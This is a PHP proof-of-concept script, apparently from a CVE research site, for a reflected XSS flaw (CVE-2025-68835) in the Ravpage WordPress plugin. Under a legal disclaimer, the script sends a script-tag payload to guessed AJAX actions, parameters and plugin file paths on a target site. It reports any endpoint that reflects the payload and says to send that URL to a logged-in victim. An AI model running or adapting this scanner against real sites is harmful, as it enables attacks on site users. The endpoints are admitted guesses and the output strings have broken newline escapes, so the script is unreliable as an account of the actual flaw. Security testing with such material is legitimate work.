CVE-2025-68835: Ravpage <= 2.33 – Reflected Cross-Site Scripting (ravpage)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
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// computer misuse statutes. This code is provided "AS IS" without warranty
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// damages, or legal consequences arising from the use of this code. You are
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// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68835 - Ravpage <= 2.33 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-68835
 * This script demonstrates reflected XSS in the Ravpage WordPress plugin.
 * Assumptions based on WordPress plugin patterns:
 * 1. The vulnerability likely exists in an AJAX handler or direct file endpoint
 * 2. User input is reflected without proper escaping
 * 3. No authentication is required to trigger the vulnerable code path
 */

$target_url = "http://vulnerable-wordpress-site.com"; // CONFIGURE THIS

// Common WordPress AJAX endpoint for plugins
$ajax_endpoint = "/wp-admin/admin-ajax.php";

// Try common AJAX action patterns based on plugin slug 'ravpage'
$possible_actions = [
    'ravpage_action',
    'ravpage_ajax',
    'ravpage_process',
    'ravpage_submit'
];

// XSS payload that will execute when reflected in response
$payload = rawurlencode('<script>alert("XSS via CVE-2025-68835 - Domain: "+document.domain)</script>');

// Common parameter names that might be vulnerable
$param_names = ['id', 'name', 'data', 'input', 'value', 'query', 'search'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

foreach ($possible_actions as $action) {
    foreach ($param_names as $param) {
        // Test via GET request (most common for reflected XSS)
        $test_url = $target_url . $ajax_endpoint . "?action=" . $action . "&" . $param . "=" . $payload;
        
        curl_setopt($ch, CURLOPT_URL, $test_url);
        $response = curl_exec($ch);
        
        if (curl_errno($ch)) {
            echo "cURL Error for $test_url: " . curl_error($ch) . "n";
            continue;
        }
        
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        // Check if payload appears in response (unescaped)
        if ($http_code == 200 && strpos($response, '<script>alert') !== false) {
            echo "[+] VULNERABLE ENDPOINT FOUND:n";
            echo "    URL: $test_urln";
            echo "    Action: $actionn";
            echo "    Parameter: $paramn";
            echo "    Payload reflected in responsenn";
            echo "To exploit, send this URL to a victim while they're authenticated to WordPress.n";
            curl_close($ch);
            exit(0);
        }
    }
}

// Also test direct plugin file access if AJAX endpoints don't work
$plugin_files = [
    "/wp-content/plugins/ravpage/ravpage.php",
    "/wp-content/plugins/ravpage/includes/ajax-handler.php",
    "/wp-content/plugins/ravpage/public/class-ravpage-public.php"
];

foreach ($plugin_files as $file) {
    foreach ($param_names as $param) {
        $test_url = $target_url . $file . "?" . $param . "=" . $payload;
        
        curl_setopt($ch, CURLOPT_URL, $test_url);
        $response = curl_exec($ch);
        
        if (curl_errno($ch)) {
            continue;
        }
        
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code == 200 && strpos($response, '<script>alert') !== false) {
            echo "[+] VULNERABLE DIRECT FILE FOUND:n";
            echo "    URL: $test_urln";
            echo "    Parameter: $paramn";
            echo "    Payload reflected in responsenn";
            curl_close($ch);
            exit(0);
        }
    }
}

curl_close($ch);
echo "[-] No vulnerable endpoints found with tested patterns.n";
echo "    The actual vulnerable parameter/endpoint may differ from tested patterns.n";
?>